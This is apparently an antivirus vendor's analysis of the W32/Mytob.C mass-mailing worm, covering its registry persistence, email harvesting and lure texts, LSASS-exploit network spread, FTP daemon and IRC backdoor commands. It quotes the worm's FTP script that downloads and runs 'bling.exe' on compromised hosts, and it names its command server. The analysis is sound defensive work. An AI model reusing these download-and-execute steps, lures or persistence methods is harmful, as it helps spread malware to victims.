Virus

W32/Mytob.C@mm

Analysis

This variant of MyTob is very similar to existing variants in that it is coded using Visual C, and contains instructions to spread to other systems using these methods -

  • SMTP email
  • networked systems
  • LSASS exploit [MS04-011]

The virus also has the following characteristics -

  • has a built-in FTP daemon with the reference name "StnyFtpd", and may serve the file "bingoo.exe" via the FTP daemon
  • may connect to the IRC server named "bleh.darkacidonline.us" and await commands from a malicious user

The virus borrows code from W32/Mydoom - this causes some AV scanners to identify this virus as a variant of the W32/Mydoom family.

Loading at Windows startup
If the threat is run manually, it will copy itself to the local system -

C:\WINNT\system32\wfdmgr.exe

The virus has a file size in excess of 120,000 bytes. The virus will register itself to load at Windows startup -

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
"LSA" = wfdmgr.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"LSA" = wfdmgr.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
"LSA" = wfdmgr.exe

HKEY_CURRENT_USER\Software\Microsoft\OLE
"LSA" = wfdmgr.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole
"LSA" = wfdmgr.exe

HKEY_CURRENT_USER\SYSTEM\CurrentControlSet\Control\Lsa
"LSA" = wfdmgr.exe
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
"LSA" = wfdmgr.exe

SMTP mass-mailing routine
The virus has instructions to send a copy of itself to contacts found in files of certain extensions. This virus appears to have borrowed the same harvest and exclusion routines as found in the W32/Mydoom virus family. Email addresses are sampled from files having these extensions -

  • adb
  • asp
  • dbx
  • htm
  • php
  • pl
  • sht
  • tbb
  • wab

The captured addresses are used as targets for the mailing routine. As with other viruses using this technique, the virus will avoid selecting email addresses containing certain strings, such as these -

  • -._!
  • -._!@
  • .edu
  • .gov
  • .mil
  • abuse
  • accoun
  • acketst
  • admin
  • anyone
  • arin.
  • avp
  • be_loyal:
  • berkeley
  • borlan
  • bsd
  • bugs
  • ca
  • certific
  • contact
  • example
  • fcnz
  • feste
  • fido
  • foo.
  • fsf.
  • gnu
  • gold-certs
  • google
  • gov.
  • help
  • hotmail
  • iana
  • ibm.com
  • icrosof
  • icrosoft
  • ietf
  • info
  • inpris
  • isc.o
  • isi.e
  • kernel
  • linux
  • listserv
  • math
  • me
  • mit.e
  • mozilla
  • msn.
  • mydomai
  • no
  • nobody
  • nodomai
  • noone
  • not
  • nothing
  • ntivi
  • page
  • panda
  • pgp
  • postmaster
  • privacy
  • rating
  • rfc-ed
  • ripe.
  • root
  • ruslis
  • samples
  • secur
  • sendmail
  • service
  • site
  • soft
  • somebody
  • someone
  • sopho
  • spm
  • submit
  • support
  • syma
  • tanford.e
  • the.bat
  • unix
  • usenet
  • utgers.ed
  • webmaster
  • www
  • you
  • your

The virus carries hard-coded message bodies and sends email with varying body text. The possible body text are selected from these choices -

  • Mail transaction failed. Partial message is available.
  • The message contains Uniccharacters and has been sent as a binary attachment.
  • The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment.
  • test

The email attachment may have one of these names as a prefix, and may have a .BAT, .CMD, .PIF, .EXE, SCR, or .ZIP file extension -

  • body
  • message
  • test
  • data
  • file
  • text
  • doc
  • readme
  • document

Network spreading routine
The virus will first bind with a high TCP port such as 36276. The virus will spawn a thread that functions on this TCP port as an FTP server. The server responds with this detail, if connected to a logon instance -

220 StnyFtpd 0wns j0

When exiting the server, it responds with this string -

221 Goodbye happy r00ting.

Next, the virus will attempt to connect with systems on the same Class A subnet as the infected system. The virus generates random IP addresses based on the infected system IP address, and spans across randomly selected Class B and Class C addresses.
For example, if the infected system has an IP address of 192.168.29.56 [using network address translation, or NAT], the virus may try to connect with random addresses such as these -

  • 192.168.1.71
  • 192.168.113.2
  • 192.168.44.50 and so on

The virus attempts to connect with the random system using TCP port 445. If a connection can be made, the virus uses an LSASS buffer overflow exploit to gain access to the system. Once access is obtained, the virus generates an FTP script and writes it to the system with these instructions:

open undefineds undefinedd
user 1 l
get bling.exe
quit
ftp -n -s:o
bling.exe

The virus then initiates FTP.EXE locally on the compromised system to retrieve a copy of the virus as "bling.exe" from the connecting system, and execute it.

Backdoor functionality
The virus will create a thread that functions as a backdoor, using a high TCP port such as 24141. The virus connects with the IRC server 'bleh.darkacidonline.us' in order to receive instructions from a malicious user. Instructions include some of the following -

.updat
.raw
.exec
.dl
.rm
.quit
.su
.uptim
.login

Recommended Action


    FortiGate systems:
  • check the main screen using the web interface to ensure the latest AV/NIDS database has been downloaded and installed -- if required, enable the "Allow Push Update" option